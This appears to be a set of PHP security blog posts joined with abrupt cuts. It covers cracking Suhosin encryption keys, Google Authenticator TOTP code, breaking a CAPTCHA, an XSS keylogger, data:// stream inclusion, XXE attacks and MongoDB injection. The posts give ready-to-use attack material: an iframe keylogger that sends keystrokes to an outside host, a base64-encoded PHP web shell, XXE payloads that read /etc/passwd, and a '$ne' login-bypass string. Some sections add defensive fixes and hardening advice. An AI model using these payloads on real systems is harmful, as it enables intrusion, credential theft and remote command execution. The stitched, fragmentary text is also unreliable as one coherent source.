This post will explain why suhosin encryption is not necessarily as secure as you might think and how its default configuration should not be relied upon to protect the content of sessions and cookies.

Basic suhosin encryption settings

First you need to understand the PHP suhosin session and cookie settings and how these affect access to the session and cookie data, in particular how they affect the generation of the encryption key used to protect the data. There are six settings for both suhosin.session and suhosin.cookie these are their defaults:

How Suhosin generates the encryption key

As you can see, the more Suhosin settings that are enabled the more complex the encryption key will become – sessions by default are encrypted using solely the document root where as cookies use a concatenation of both the document root and user agent string. The key will always be built in the same way and take the order:

cryptkey + user agent + document root + IP octets

12345Mozilla/5.0 (X11; Linux x86_64; rv:6.0.2) Gecko/20100101 Firefox/6.0.2/var/www127.0.0.1

The variables are concatenated without a separator – if for some reason the cryptkey string is NULL then Suhosin will default to a value of “D3F4UL7”. Once built the string is hashed using SHA256 and the result used to generate a 256bit rijndael encryption key. The code used to generate the SHA256 key is shown below:

char *suhosin_generate_key(char *key, zend_bool ua, zend_bool dr, long raddr, char *cryptkey TSRMLS_DC)
{
    char *_ua = NULL;
    char *_dr = NULL;
    char *_ra = NULL;
    suhosin_SHA256_CTX ctx;

    if (ua) {
        _ua = sapi_getenv("HTTP_USER_AGENT", sizeof("HTTP_USER_AGENT")-1 TSRMLS_CC);
    }

    if (dr) {
        _dr = sapi_getenv("DOCUMENT_ROOT", sizeof("DOCUMENT_ROOT")-1 TSRMLS_CC);
    }

    if (raddr > 0) {
        _ra = sapi_getenv("REMOTE_ADDR", sizeof("REMOTE_ADDR")-1 TSRMLS_CC);
    }

    suhosin_SHA256Init(&ctx);

    if (key == NULL) {
        suhosin_SHA256Update(&ctx, (unsigned char*)"D3F4UL7", sizeof("D3F4UL7"));
    } else {
        suhosin_SHA256Update(&ctx, (unsigned char*)key, strlen(key));
    }
    if (_ua) {
        suhosin_SHA256Update(&ctx, (unsigned char*)_ua, strlen(_ua));
    }
    if (_dr) {
        suhosin_SHA256Update(&ctx, (unsigned char*)_dr, strlen(_dr));
    }

    if (_ra) {
        if (raddr >= 4) {
            suhosin_SHA256Update(&ctx, (unsigned char*)_ra, strlen(_ra));
        } else {
            long dots = 0;
            char *tmp = _ra;

            while (*tmp) {
                if (*tmp == '.') {
                    dots++;
                    if (dots == raddr) {
                        break;
                    }
                }
                tmp++;
            }
            suhosin_SHA256Update(&ctx, (unsigned char*)_ra, tmp-_ra);
        }
    }

    suhosin_SHA256Final((unsigned char *)cryptkey, &ctx);
    cryptkey[32] = 0; /* uhmm... not really a string */

    return cryptkey;
}

If you refer back to the default settings the key used to encrypt sessions is derived from solely the web root e.g. /var/www (this is not the same as /var/www/). Cookies are encrypted with both the web root and the clients user agent string (which is known). A simple PHP error could give the location of the web root to an attacker which he could use to decrypt and tamper with client side cookies or the data stored within server sessions (assuming he has access to the sessions on disk).

Calculating the encryption key value

If we assume the default Suhosin settings are in place then defeating the cookie encryption is a simple case of either finding an error message with the web root in or staging a dictionary attack on the name of the web root. You should already know what your user agent string is so there is only one unknown variable to guess. Using information harvested from Google searches for “DocumentRoot not found” I’ve come up with a script that takes a domain name an generates a list of plausible web roots. (Download the DocumentRoot generator.) These can be fed into a script to brute-force the encrypted data.

#bash> ./generate.php
Usage ./generate.php domainname.com > directorylist.txt

#bash> ./generate.php idontplaydarts.com > dirlist.txt
#bash> wc -l dirlist.txt
29160 dirlist.txt
#bash> cat dirlist.txt
/data/web
/data/web/
/data/web/idontplaydarts.com/public_html
/data/web/idontplaydarts.com/public_html/
......

But what if the session data is also encrypted with the user agent string and you want to decrypt someone else’s session? Now you’ll need to brute-force the user agent string as well, there are probably only a few thousand variants of the modern browsers and there are plenty of lists to choose from. If you’ve already compromised the system you could construct a list of agents from the servers Apache logs and use these in the attack.

If the system administrator or developer has opted to lock the session to the clients IP address using cryptraddr then you might have to test the entire 32 bit range of IP addresses. Luckily however thanks to some service providers frequently changing your IP address during the course of your Internet session it is unlikely that any more than the first two octets of the IP address will be used in the rijndael key. You can further reduce this set of IP addresses if you know what country the client is connecting from, MaxMind has a good GeoLocation database that can be used to narrow down you attack. Again, if you can view the Apache logs and extract the IP addresses of the hosts that have accessed the server it will significantly reduce your search space (if your attacking a cookie rather than a session you should already know your IP address).

You might have noticed on line 17 that Suhosin looks to the REMOTE_ADDR variable for the clients IP address so there is a potential for a further mis-configuration if Apache resides behind a load balancer or proxy such as Nginx or Varnish which is failing to update the REMOTE_ADDR header. In these situations the REMOTE_ADDR might be that of the upstream proxy which would make the attack much quicker as every client will appear to come from the same address.

Decrypting Suhosin sessions and cookies using C

I saw a good entry on ha.xxor.se that describes how to hijack a session on shared hosting however this involves manipulating internal variables in PHP which doesn’t always work and tends to be fairly slow. I briefly tried decrypting the session variables using purely PHP and the mcrypt extension although I had little success.

In order to decrypt Suhosin sessions and cookie strings you really need an external program that is independent of PHP, one that can quickly brute force sessions or cookies saved in a file. I couldn’t find one on the net so I wrote one in C – its mainly hacked together from bits of the suhosin and PHP source code. There is plenty of scope for improvement and optimisations.

The script comes with 3 examples located in the demos/ folder – I’ve included a compiled version that should work on x86 Linux as well as the source and make file.

Download the Suhosin decrypter.

Usage: cmd [SESSION FILE] [OPTIONS]

Cracks Suhosin rijndael encryption by launching dictionary attacks on
the key. The session or cookie string to be cracked must be placed in
SESSION FILE.		

Mandatory Arguments:
  [SESSION FILE]        File containing the session data

Arguments:
  -UA                   list of user agents in txt file
  -DR                   list of directory roots
  -IP                   list of ip addresses
  -CK                   list of crypt keys
  -ip                   singular ip adddress
  -dr                   singular directory root
  -ua                   singular user agent
  -ck                   crypt key string

NB. When a list of anything is specified the decrypter will also add
    a blank string to the list.						

Download the Suhosin decrypter.

Google Authenticator is based on RFC 4226 – a Time based One Time Password (TOTP) which is initialised using a 16 digit base 32  (RFC 4648) encoded seed value. Initial seeds used for the TOTP can be entered into the Google Authenticator via a camera using QR codes or via the keyboard. Google has also provided a PAM module allowing users to integrate 2FA for sshd.

A module can be written to support the Google TOTP in any language – the only caveat with writing a library for PHP is a lack of an RFC 4648 compliant base 32 decoding function. A base 32 function is needed to decode the initial seed. This is probably the most tricky part of implementing Google’s 2FA. The following function can be used:

function base32_decode($b32) {
  $lut = array("A" => 0,       "B" => 1,
               "C" => 2,       "D" => 3,
               "E" => 4,       "F" => 5,
               "G" => 6,       "H" => 7,
               "I" => 8,       "J" => 9,
               "K" => 10,      "L" => 11,
               "M" => 12,      "N" => 13,
               "O" => 14,      "P" => 15,
               "Q" => 16,      "R" => 17,
               "S" => 18,      "T" => 19,
               "U" => 20,      "V" => 21,
               "W" => 22,      "X" => 23,
               "Y" => 24,      "Z" => 25,
               "2" => 26,      "3" => 27,
               "4" => 28,      "5" => 29,
               "6" => 30,      "7" => 31
  );

  $b32    = strtoupper($b32);
  $l      = strlen($b32);
  $n      = 0;
  $j      = 0;
  $binary = "";

  for ($i = 0; $i < $l; $i++) {

       $n = $n << 5;
       $n = $n + $lut[$b32[$i]];
       $j = $j + 5;

       if ($j >= 8) {
           $j = $j - 8;
           $binary .= chr(($n & (0xFF << $j)) >> $j);
       }
  }

  return $binary;
}

This binary seed value will be used in a SHA1 hash along with the current Unix time-stamp to generate one time tokens. The Unix time-stamp is divided by 30 so that the one time password changes every 30 seconds.

function get_timestamp() {
   return floor(microtime(true)/30);
}

Sadly you cant just pass the number from get_timestamp straight into the sha1 function. The time-stamp first needs to be reduced into a binary string of 8 bytes. Since pack doesn’t support 64bit integers we use two unsigned 32 bit integers to make up the binary form.

$binary_timestamp = pack('N*', 0) . pack('N*', $timestamp);

Once you have the binary seed and the binary timestamp you have to pass them into the “hash_mhac” function. This gives you a 20 byte sha1 string.

$hash = hash_hmac ('sha1', $binary_timestamp, $binary_key, true);

This hash is then processed in accordance with RFC 4226 to obtain the one time password.

$offset = ord($hash[19]) & 0xf;

$OTP = (
   ((ord($hash[$offset+0]) & 0x7f) << 24 ) |
    ((ord($hash[$offset+1]) & 0xff) << 16 ) |
    ((ord($hash[$offset+2]) & 0xff) << 8 ) |
    (ord($hash[$offset+3]) & 0xff)
   ) % pow(10, 6);

Now $OTP should contain your one time password. There are however still a couple of small issues to overcome if you want to use this within an application:

• Your client and server clocks may not be in sync – this could means that when you come to check your token generated by the user that it will fail. To combat this a you can either stipulate that the client and server clocks must be in perfect sync or you need to create a function which checks the tokens against those +/- 2 minutes of the current server time. This will allow your client and server to be up to 2 minutes out but obviously increases the chance that an attacker could correctly guess a one time token.

• If there is no upper limit on the number of attempts a user can make at guessing a token it may be possible to brute-force the one-time token.

• If the seed is too small and an attacker can intercept a few tokens it may be possible to brute-force the seed value allowing the attacker to generate new one-time tokens. For this reason Google enforces a minimum seed length of 16 characters or 80-bits.

• If a token is not marked as invalid as soon as it has been used an attacker who has intercepted the token may be able to quickly replay it to obtain access.

Seed value 'PEHMPSDNLXIOG65U'

A class for PHP that implements Google TOTP can be downloaded here. Its missing protection against brute-force attacks but otherwise fully functional.

You can check if its working by installing the Google Authenticator application and scanning the QR code to the right – codes generated by the application should match codes generated by the class. The function Google2FA::verify_key should be used to validate the users one time token as it allows the clients clock to drift either side of the server time by 2 minutes.

Custom QR codes can be generated using the Google QR generator at https://www.google.com/chart?chs=200×200&chld=M|0&cht=qr&chl=otpauth://totp/idontplaydarts?secret=SECRETVALUEHERE

The flaw in the CAPTCHA stems from the way MP3 and WAV audio codes, intended for use by by the visually impaired, are generated. It is worth noting that even when the user of the site has removed the audio functionality from their displayed CAPTCHA the functionality can still be accessed via forceful browsing to the file called “/securimage_play.php”. This means that unless the administrator of the site has removed the securimage_play.php file that their site is vulnerable to attack.

The audio codes that are generated by PHPCaptcha are created by concatenating a set of audio files (that are publicly accessible in /audio directory). To prevent simple binary analysis of the output the author randomly changes the value of every 64th byte in the generated audio file starting from an initial offset that is also defined by a random integer in the range 1-64. The effect of the mutation means that when you listen to the audio its very hard to determine what letters are being heard. The code used for the mutation is shown below:

    function scrambleAudioData(&$data, $format)
    {
        if ($format == 'wav') {
            $start = strpos($data, 'data') + 4;
            if ($start === false) $start = 44;
        } else { // mp3
            $start = 4;
        }

        $start  += rand(1, 64);
        $datalen = strlen($data) - $start - 256;

        for ($i = $start; $i < $datalen; $i += 64) {
            $ch = ord($data{$i});
            if ($ch < 9 || $ch > 119) continue;

            $data{$i} = chr($ch + rand(-8, 8));
        }
    }

While this prevents simple binary analysis of the generated audio it does not prevent an attacker from building a list of 64 byte strings from the publicly accessible audio samples and using these in comparison against the concatenated audio file. By determining where in the file these strings occur its possible to decode the CAPTCHA with a 100% success rate. The decision by the author to change only the 64th byte of the final audio file is a fatal design flaw.

You can download the PHPCaptcha exploit capable of decoding the MP3 CAPTCHA format. It is currently configured to run against the “sample_form.php” script that comes by default with SecurImage / PHPCaptcha. Below is a video of the exploit running:

No fix is currently available from the author. The only current solution is to remove the securimage_play.php script from your site.

So I came up with a solution that turns reflected cross site scripting into a crude form of persistent XSS and records the users keystrokes to a remote server. The idea is that you embed some XSS code in a vulnerable page on the same domain as the login page. Its important that its on the same domain so that we can access the contents of the iframe and hook the keyboard input. If its not on the same domain then the browser won’t let you do this.

The general architecture of the exploit looks something like this.

The page with XSS spawns an iframe that fills up the contents of the window and places it over the top of everything currently in the window. The src of the Iframe should be whatever page you want to capture keystrokes from. It then adds a hook to the contents of the iframe so that every time there is a keypress it polls back to a server controlled by the attacker.

The great thing about using the Iframe is that the user can navigate away from the page and the keystroke logger will still be running as the src of the parent Iframe remains the same and it is the parent Iframe in which the key logger resides.

The code:
I used JQuery as I wanted the Key logger to be cross browser compliant, if the site your targeting has JQuery already included then you wont have to embed jQuery and can avoid the script tags all together. I also included a time stamp when sending the keystroke to the remote server as occasionally the GET requests were arriving out of order – having a time stamp enables you to reassemble the keystrokes in the correct order server-side.

<script src="http://code.jquery.com/jquery-1.6.1.min.js"></script>
<iframe src="/login.php" id="w" style="width:100%; height:100%; position:absolute; top:0; left:0; z-index:2; background-color:#ffffff;" onload="$('#w').contents().keypress(function(event) {$.get('http://www.mysite.com/k.php?x='+event.which+'&t='+event.timeStamp,function(data){});});"></iframe>

You don’t even need server side code to do the logging, as long as you have access to your web server error logs you should be able to see all the keystrokes arriving as GET requests. If you did want more friendly server-side code it might look something like this:

$f = fopen("/tmp/log.txt","a+");
fputs($f, $_SERVER['REMOTE_ADDR'] . "\t" . $_GET['t'] . "\t" . chr($_GET['x']) . "\n");
fclose($f);

Encoding the payload:
The full url encoded payload is shown below, both the initial Iframe src page and the destination script for the key strokes are marked in bold. Both will need to be changed if you are to use this.

%3Cscript+src%3D%22http%3A%2F%2Fcode.jquery.com%2Fjquery-1.6.1.min.js%22%3E%3C%2Fscript%3E%3Ciframe+src%3D%22%2Flogin.php%22+id%3D%22w%22+style%3D%22width%3A100%25%3B+height%3A100%25%3B+position%3Aabsolute%3B+top%3A0%3B+left%3A0%3B+z-index%3A2%3B+background-color%3A%23ffffff%3B%22+onload%3D%22%24%28%27%23w%27%29.contents%28%29.keypress%28function%28event%29+%7B%24.get%28%27http%3A%2F%2Fwww.mysite.com%2Fk.php%3Fx%3D%27%2Bevent.which%2B%27%26t%3D%27%2Bevent.timeStamp%2Cfunction%28data%29%7B%7D%29%3B%7D%29%3B%22%3E%3C%2Fiframe%3E

$session = ssh2_connect('example.com', 22);
$stream = fopen("ssh2.tunnel://$session/remote.example.com:1234", 'r');

Another example using the built in data:// stream which decodes base64 strings.

echo file_get_contents('data://text/plain;base64,SSBsb3ZlIFBIUAo=');

Streams can be used with functions such as file_get_contents, fopen, include and require etc. and this is where the danger of Remote and Local file inclusion occur.

Before PHP 5.2 when an attacker found a local or remote file inclusion vulnerability he needed to either work out a way to upload PHP code to the server (e.g. via /proc/self/environ) or have another server that he could point the vulnerable script at. Sometimes the server with the vulnerability might be behind a firewall restricting outbound access to the Internet and at other times it might not be possible to write any data to a suitable location on the local file system for inclusion.

Since PHP 5.2 if allow_url_include is enabled we can use the data stream (rather than a remote file) to include executable PHP code. Consider the following example of a vulnerable PHP script:

<? include($_GET['file'] . ".php");

By encoding a PHP script in base64 and then URL encoding any special characters contained within this string we can successfully execute a script. Below we show how phpinfo can be executed using the above script to enumerate more information about the target environment.

<? phpinfo(); die();?>

// Base64 Encoded
PD8gcGhwaW5mbygpOyBkaWUoKTs/Pg==

// URL + Base64 Encoded
PD8gcGhwaW5mbygpOyBkaWUoKTs%2fPg==

// Final URL
index.php?file=data://text/plain;base64,PD8gcGhwaW5mbygpOyBkaWUoKTs%2fPg==

The die statement is there to prevent the execution of the rest of the script or the execution of of the incorrectly decoded “.php” string which is appended to the stream – both of which could cause a WSOD – Displaying phpinfo is fairly basic – you can go a step further and execute shell commands. The following code is a complete GUI command shell.

PHP payload

<form action="<?=$_SERVER['REQUEST_URI']?>" method="POST"><input type="text" name="x" value="<?=htmlentities($_POST['x'])?>"><input type="submit" value="cmd"></form><pre><? echo `{$_POST['x']}`; ?></pre><? die(); ?>

Base64 encoded payload

PGZvcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkkn
XT8+IiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lP
SJ4IiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfUE9TVFsneCddKT8
+Ij48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY21kIj48L2Zvcm
0+PHByZT48PyAKZWNobyBgeyRfUE9TVFsneCddfWA7ID8+PC9wc
mU+PD8gZGllKCk7ID8+Cgo=

Base64 + URL encoded payload

PGZvcm0gYWN0aW9uPSI8Pz0kX1NFUlZFUlsnUkVRVUVTVF9VUkk
nXT8%2BIiBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBu
YW1lPSJ4IiB2YWx1ZT0iPD89aHRtbGVudGl0aWVzKCRfUE9TVFsne
CddKT8%2BIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iY21k
Ij48L2Zvcm0%2BPHByZT48PyAKZWNobyBgeyRfUE9TVFsneCddf
WA7ID8%2BPC9wcmU%2BPD8gZGllKCk7ID8%2BCgo%3D

Running PHP shell

Using a data stream over a standard remote or local file inclusion has several benefits:

1. It works behind a firewall that blocks outbound traffic.
2. It has a lower latency as the vulnerable script is not including a remote file.
3. Its doesn’t require a null-byte to be appended to the end of the script.
4. It doesn’t require a remote server.

All in all, its a more elegant solution to remote or local file inclusion.

The idea is that you run the script on your web server and it tells you what security settings are potentially mis-configured based on the rules that it reads from an XML file. Any settings that are not configured in line with best security practices are highlighted in red. It works in a similar way to the Centre for Internet Security’s benchmark scripts for other technologies. The one caveat is that it does need access to the ini_get function and requires a least PHP 5 to run.

The auditing script checks for (amongst other things):

• Secure session settings.
• Depreciated functions that might be relied upon.
• Functions that should be disabled.
• Dangerous settings that could lead to remote or local file inclusion.
• Error handling.
• Constants defined at compile time.

You might disagree with some of the recommended security settings or they might just not suit your current application; you can always change the XML file. A sample of the report generated by the Auditor is shown below.

Hardening PHP using the PHP Auditor

You can download the script and use it to harden  / secure your PHP installation. The tool is by no means a definitive hardening guide and any feedback or suggested rules / settings are welcome.

Download the PHP Auditor

<?xml version="1.0" standalone="no" ?>
<!DOCTYPE copyright [
  <!ELEMENT copyright (#PCDATA)>
  <!ENTITY c SYSTEM "http://www.xmlwriter.net/copyright.xml">
]>
<copyright>&c;</copyright>

SimpleXML lets us bring any URL – for example http://www.example.com/blahblahblah.xml – into the document. The problem is that if the external entity isn’t  a valid XML endpoint it wont get parsed and PHP will throw an error like this.

Warning: simplexml_load_string(): php_network_getaddresses: getaddrinfo failed: Name or service not known in xml.php on line 5

Warning: simplexml_load_string(http://www.example.com/blahblahblah.xml): failed to open stream: php_network_getaddresses: getaddrinfo failed: Name or service not known in xml.php on line 5

Security issues arise because PHP places no restrictions on what URLs can be accessed; any URL that the parser can access can be included in the XML as a external entity. Even if allow_url_fopen is set to false it is still possible to include these files. Furthermore it is possible to specify ports to which the XML parser will connect, here we connect to localhost on port 22

<!DOCTYPE scan [<!ENTITY test SYSTEM "http://localhost:22">]>
<scan>&test;</scan>

As long as PHP error messages are enabled you get back the banner of the service running even if the port doesn’t support the HTTP protocol.

Warning: simplexml_load_string(http://localhost:22): failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_5.5p1 Debian-4ubuntu5
 in testxml.php on line 10

If error messages are suppressed it is still possible to work out if a service is running on the port by comparing the time taken to connect to a known open port (such as localhost:80) to known closed port. Using this technique its possible to scan the networks attached to the XML parser endpoint for services that otherwise might be blocked to the outside world by a firewall.

XML for Local File Inclusion
Turns out not only can you include remote URL you can also include local files (a.k.a Local File Inclusion – LFI) by using the file:// prefix (thanks to Am for pointing this out) e.g.

<!DOCTYPE scan [<!ENTITY test SYSTEM "file:///etc/passwd">]>
<scan>&test;</scan>

If the result is echoed back to the end user it will contain a copy of /etc/passwd – The caveat is that the local file inclusion must be valid XML, this means that you cant include binary files – however, using PHP filters its possible to encode binary files as a Base64 encoded string e.g.

<!DOCTYPE scan [<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
<scan>&test;</scan>

This means that any PHP system parsing XML is potentially vulnerable to Local and Remote File Inclusion attacks.

Defending against XML External Entity attacks
There doesn’t appear to be a PHP configuration setting to disable the external entity feature however by issuing the command libxml_disable_entity_loader before the XML is parsed it is possible to turn external entities off at runtime and protect yourself from this threat e.g.

libxml_disable_entity_loader(true);

Lets take a look at an example. The code below allows users to insert random objects into the collection by passing an array of objects in the GET command. However it denies them access to insert the field “verified”.

$con = new Mongo("mongodb://localhost");
$db  = $con->selectDB("example")->
          selectCollection("population");

$_GET['person'] = array(
    "name" => "Alice",
    "age" => 20,
    "verified" => true
);

unset($_GET['person']['verified']);
$db->insert($GET['person'], true);

When we inspect the database we can see that the object was created in the “population” collection with the exception of the “verified” field.

> use example
switched to db example
> db.population.find();
{ "_id" : ObjectId("4d567e42528a7b056e000000"), "name" : "Alice", "age" : 20 }

This code should allow the user to insert any people and prevent the “verified” field from being set. However, by injecting a null byte into the array key we can bypass the checks and allow the field “verified” to be stored in MongoDB.

$con = new Mongo("mongodb://localhost");
$db  = $con->selectDB("example")->
          selectCollection("population");

$_GET['person'] = array(
    "name" => "Alice",
    "age" => 20,
    "verified" . chr(0) . "ignored" => true
);

unset($_GET['person']['verified']);

$db->insert($_GET['person'], true);

The MongoDB server filters out anything after the null byte and when we check the collection we can see that the “verified” field has been populated.

> use example
switched to db example
> db.population.find();
{ "_id" : ObjectId("4d567ff5528a7b476e000000"), "name" : "Alice", "age" : 20, "verified" : true }

The Null Byte Injection affects the collection and database names as well. The code below would still write to the example.population collection.

$con = new Mongo("mongodb://localhost");
$db  = $con->selectDB("example" . chr(0) . "ignored")->
selectCollection("population" . chr(0) . "ignored");

The best solution is to strictly validate the fields you allow users to pass to a collection, additionally check each user-supplied database and collection string for the presence of null-bytes.

$collection->find(array(
    "username" => $_GET['username'],
    "passwd" => $_GET['passwd']
));

This is equivalent to the SQL syntax

mysql_query("SELECT * FROM collection
    WHERE username=" . $_GET['username'] . ",
    AND passwd=" . $_GET['passwd'])

In a normal SQL injection attack we can replace either of the two input parameters with a string such that the SQL query always returns true. e.g.

login.php?username=admin&passwd=" OR 1 --

That wont work with MongoDB; however if we can pass in an object to the PHP MongoDB driver we could alter the query in a similar fashion. Luckily PHP provides us with a way to pass objects as GET or POST parameters:

login.php?username=admin&passwd[$ne]=1

This creates the MongoDB query

$collection->find(array(
    "username" => "admin",
    "passwd" => array("$ne" => 1)
));

Which is the equivalent to the following SQL statement which, unless the password is “1″ will always return true.

mysql_query("SELECT * FROM collection
    WHERE username="admin",
    AND passwd!=1

The solution is to ensure your variables are properly typed before they are passed into the MongoDB driver. The following code is not vulnerable to MongoDB injection:

$collection->find(array(
    "username" => (string)$_GET['username'],
    "passwd" => (string)$_GET['passwd']
));